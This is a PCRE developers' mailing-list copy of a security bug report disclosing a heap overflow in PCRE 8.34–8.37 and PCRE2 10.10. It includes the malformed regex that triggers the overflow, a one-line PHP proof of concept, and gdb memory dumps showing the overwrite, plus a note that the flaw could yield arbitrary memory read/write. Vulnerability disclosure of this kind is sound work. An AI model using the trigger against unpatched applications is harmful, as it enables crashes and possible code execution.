[pcre-dev] [Bug 1636] New: PCRE Library Heap Overflow Vulner…

Top Page
Delete this message
Author: admin
Date:  
To: pcre-dev
New-Topics: [pcre-dev] [Bug 1636] PCRE Library Heap Overflow Vulnerability
Subject: [pcre-dev] [Bug 1636] New: PCRE Library Heap Overflow Vulnerability
https://bugs.exim.org/show_bug.cgi?id=1636

            Bug ID: 1636
           Summary: PCRE Library Heap Overflow Vulnerability
           Product: PCRE
           Version: N/A
          Hardware: All
                OS: All
            Status: NEW
          Severity: security
          Priority: medium
         Component: Code
          Assignee: ph10@???
          Reporter: rubymail@???
                CC: pcre-dev@???


Created attachment 813
--> https://bugs.exim.org/attachment.cgi?id=813&action=edit
POC to trigger the overflown under using php.

I. Summary
PCRE is a regular expression C library inspired by the regular expression
capabilities in the Perl programming language. The PCRE library is incorporated
into a number of prominent programs, such as Adobe Flash, Apache, Nginx, PHP.
PCRE library is prone to a vulnerability which leads to Heap Overflow. During
the compilation of a malformed regular expression, more data is written on the
malloced block than the expected size output by compile_regex. Exploits with
advanced Heap Fengshui techniques may allow an attacker to execute arbitrary
code in the context of the user running the affected application.
------------------------------------------------------------------
II. Description
Latest version of PCRE is prone to a Heap Overflow vulnerability which could
caused by the following regular expression.

/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/

To reproduce the problem, we could use pcretest provide by PCRE library or
applications which is wrapped with PCRE such as PHP.
For pcretest, simply type the regular expression after the re>
For PHP, latest version of PHP 5.6.9 (wrapped with PCRE 8.37) could be
triggered by following code snippet:

<?php
preg_match("/^(?P=B)((?P=B)(?J:(?P<B>c)(?P<B>a(?P=B)))>WGXCREDITS)/","ADLAB",$arr);
?>

First, pcre_compile2 invoke compile_regex() to calucate the size of memory that
is used to save the regular expression.
re then points to the new allocated memory with the size above.
Next, pcre_compile2 invoke compile_regex() again to fill the regular expression
into the allocated memory.
The problem here is that more data is written then expected.

Following test is conveyed under Kali Linux (based on Debian x64) with php
5.6.9:
==============================================================
gdb php poc.php
9217    re = (REAL_PCRE *)(PUBL(malloc))(size);
(gdb) x/10i $rip
=> 0x46f3cb <php_pcre_compile2+2187>:   mov    rdi,rbp
   0x46f3ce <php_pcre_compile2+2190>:   call   QWORD PTR [rax]
(gdb) x $rbp
   0x97:        Cannot access memory at address 0x97
==============================================================


So the expected size of the above regular expression is 0x97 = 151.
And the base address of allocated memory is 0x1007480.
Here is the layout of 0x1007480 just before the second compile_regexp:

==============================================================
(gdb) x/160x 0x1007480
0x1007480:     [0x45    0x52    0x43    0x50    0x97    0x00    0x00    0x00
0x1007488:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1007490:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1007498:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074a0:      0x00    0x00    0x40    0x00    0x04    0x00    0x02    0x00
0x10074a8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074b0:      0xd0    0x7a    0x00    0x01    0x00    0x00    0x00    0x00
0x10074b8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074c0:      0x00    0x02    0x42    0x00    0x00    0x03    0x42    0x00
0x10074c8:      0x83    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074d0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074d8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074e0:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074e8:      0x80    0x48    0xd8    0xf6    0xff    0x7f    0x00    0x00
0x10074f0:      0xff    0xff    0xff    0xff    0x00    0x00    0x00    0x00
0x10074f8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1007500:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x1007508:      0x60    0x75    0x00    0x01    0x00    0x00    0x00    0x00
0x1007510:      0xff    0xff    0xff    0xff    0xff    0xff    0xff]   0xff
0x1007518:      0xa1    0x01    0x00    0x00    0x00    0x00    0x00    0x00
==============================================================


After the second compile_regexp:

==============================================================
(gdb) x/160x 0x1007480
0x1007480:     [0x45    0x52    0x43    0x50    0x97    0x00    0x00    0x00
0x1007488:      0x00    0x00    0x00    0x00    0x00    0x04    0x00    0x00
0x1007490:      0xff    0xff    0xff    0xff    0xff    0xff    0xff    0xff
0x1007498:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074a0:      0x00    0x00    0x40    0x00    0x04    0x00    0x02    0x00
0x10074a8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074b0:      0xd0    0x7a    0x00    0x01    0x00    0x00    0x00    0x00
0x10074b8:      0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x10074c0:      0x00    0x02    0x42    0x00    0x00    0x03    0x42    0x00
0x10074c8:      0x83    0x00    0x51    0x1b    0x73    0x00    0x00    0x00
0x10074d0:      0x02    0x85    0x00    0x45    0x00    0x01    0x73    0x00
0x10074d8:      0x00    0x00    0x02    0x83    0x00    0x22    0x85    0x00
0x10074e0:      0x07    0x00    0x02    0x1d    0x63    0x78    0x00    0x07
0x10074e8:      0x81    0x00    0x12    0x85    0x00    0x0c    0x00    0x03
0x10074f0:      0x1d    0x61    0x73    0x00    0x00    0x00    0x02    0x78
0x10074f8:      0x00    0x0c    0x78    0x00    0x12    0x78    0x00    0x22
0x1007500:      0x1d    0x3e    0x1d    0x57    0x1d    0x47    0x1d    0x58
0x1007508:      0x1d    0x43    0x1d    0x52    0x1d    0x45    0x1d    0x44
0x1007510:      0x1d    0x49    0x1d    0x54    0x1d    0x53    0x78]  *0x00
0x1007518:     *0x45   *0x78   *0x00   *0x51    0x00    0x00    0x00    0x00
==============================================================


Obviously, 5 more bytes is written on the heap in this case.
This overflow can be used to modify adjacent length field of
array/vector/string, gaining the attacker the ability to read/write the whole
memory
in the context of the affected application (The same trick as CVE-2013-0634).

------------------------------------------------------------------
III. Impact
Heap Overflow
------------------------------------------------------------------
IV. Affected
PCRE version > 8.33 (8.34, 8.35, 8.36, 8.37 are confirmed to be vulnerable).
PCRE2 10.10 is also confirmed to be vulnerable.
Other applications may also be affected.
------------------------------------------------------------------
V. Credit
Wen Guanxing from Venustech ADLAB is credited for this vulnerability.

--
You are receiving this mail because:
You are on the CC list for the bug.